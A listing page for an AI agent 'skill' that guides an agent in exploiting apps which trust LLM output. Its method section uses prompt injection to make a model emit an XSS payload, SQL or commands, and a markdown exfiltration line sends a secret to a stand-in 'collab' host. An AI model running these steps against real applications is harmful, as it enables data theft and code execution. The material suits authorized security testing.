Ai insecure output handling

From NoorQureshi/security-skills · View interactive version

Ai insecure output handling is an AI agent skill from the GitHub repository NoorQureshi/security-skills. Exploit apps that trust LLM output — pass model text unsanitized into XSS sinks, SQL, shell, code, or downstream calls. Load when LLM output is rendered as HTML/markdown, executed, or fed to another system. Signals: chatbot output shown with innerHTML/dangerouslySetInnerHTML, "run this code", LLM-ge

How to use this skill

Skill file

Insecure output handling (LLM → sink)

When it applies

The app treats LLM output as trusted and passes it into a dangerous sink — rendered as HTML,

executed as code/SQL/shell, or forwarded to another API. The model becomes an injection vector,

especially when its input is attacker-influenced (→ chain with ai-prompt-injection).

Why it works

Developers trust their own model's output, but it's just text — and an attacker can steer it via

prompt injection. If that text lands in innerHTML, eval, a SQL string, a shell command, or a

system call without sanitization, you get XSS/RCE/SQLi through the LLM.

Method

  1. Find the sink: where does model output go? HTML render (innerHTML, markdown→HTML,

dangerouslySetInnerHTML), code exec (eval, code interpreter), DB (LLM-built query), shell,

or another service call.

  1. Get the model to emit a payload: via direct or indirect prompt injection, make the output

contain <img src=x onerror=alert(document.domain)>, a javascript: link, SQL, or a command.

  1. Route to impact:
  1. Markdown exfil: model emits ![x](https://collab/?d=<secret>) → beacons data on render.

Gotchas

Verify success

Model-produced content executes in a sink — XSS firing in the app's origin, code/command execution,

or injected SQL — traceable to LLM output.

References

OWASP LLM Top 10 (2025) LLM05; PortSwigger "web LLM attacks"; markdown-exfil write-ups.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.